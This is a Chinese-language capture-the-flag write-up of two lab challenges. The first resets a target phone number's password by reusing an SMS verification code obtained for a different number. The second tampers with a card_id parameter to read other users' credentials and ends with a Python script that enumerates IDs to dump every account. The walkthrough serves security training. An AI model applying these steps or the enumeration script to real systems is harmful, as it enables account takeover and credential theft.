密码重置漏洞
一般的密码重置的设计都是分为以下四步的:
1.输入账户名 2.验证身份 3.重置密码 4.完成
通常漏洞是会存在于2或者3步骤中,下面来看看常见的一些重置密码漏洞的方式。
靶场地址:
https://www.mozhe.cn/bug/detail/K2sxTTVYaWNncUE1cTdyNXIyTklHdz09bW96aGUmozhe
打开靶场界面如下
1、通过“朝阳群众”的举报,证实手机号“17101304128”在系统平台从事非法集资、诈骗活动。
2、请重置“17101304128”登录密码,以便登录获取完整的数字证据
点击进入重置密码,来到密码重置界面
已注册的手机号为18868345809
先输入手机号17101304128,输入新密码:图形验证码,点击获取短信验证码
提示:已发送至该手机,短信已发送有效期为5分钟
再输入我已注册的手机号18868345809,设置新密码,验证码,获取验证码 得到验证码:Vxka6a
再次把手机号改为17101304128,输入获得的验证码Vxka6a
得到key:mozhed13cf1ca43d78b052d791615554
身份验证失效漏洞
应用在检查授权时存在纰漏,使得攻击者在获得低权限用户账户后,利用一些方式绕过权限检查,访问或者操作其他用户或者更高权限。越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定。越权访问漏洞主要分为水平越权访问和垂直越权访问。
靶场地址:
https://www.mozhe.cn/bug/detail/eUM3SktudHdrUVh6eFloU0VERzB4Zz09bW96aGUmozhe
打开靶场界面如下
使用测试账号test/test进行登录
得到以上信息,,查看源代码
json.php?card_id=20128880322可以看到密码和账号,,card_id也是图片的id
马春生的card_id为20128880316
F12 刷新查看获取json.php?card_id进行编辑并重发
修改code_id的值为马春生的值20128880316发送
新建页面打开,得到用户名和密码
用户名:m233241
密码:71cc568f1ed55738788751222fb6d8d9需要解密
解密后得到密码:9732343
使用账号密码进行登录,成功得到key
同理,可以得到其他代理的账号和密码
脚本走一波,找到其他的账号和密码
import requests url ="http://xxx.xxx.xxx.xxx/json.php?card_id=" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0', 'Cookie': 'PHPSESSID=d9adeounfl5g3qigcq965btsg0; uid=test; mid=6927071f788211ee17211be0b89ef1e6' } #r= requests.get(url=url1,headers=headers) #print(r.text) for sp in range(20128880300,20128880350): #print(sp) url1 =url+str(sp) #print(url1) r = requests.get(url = url1,headers=headers) #print(r.text) if '"card_id":"","user' not in r.text: print(r.text)
得到所有的账号和密码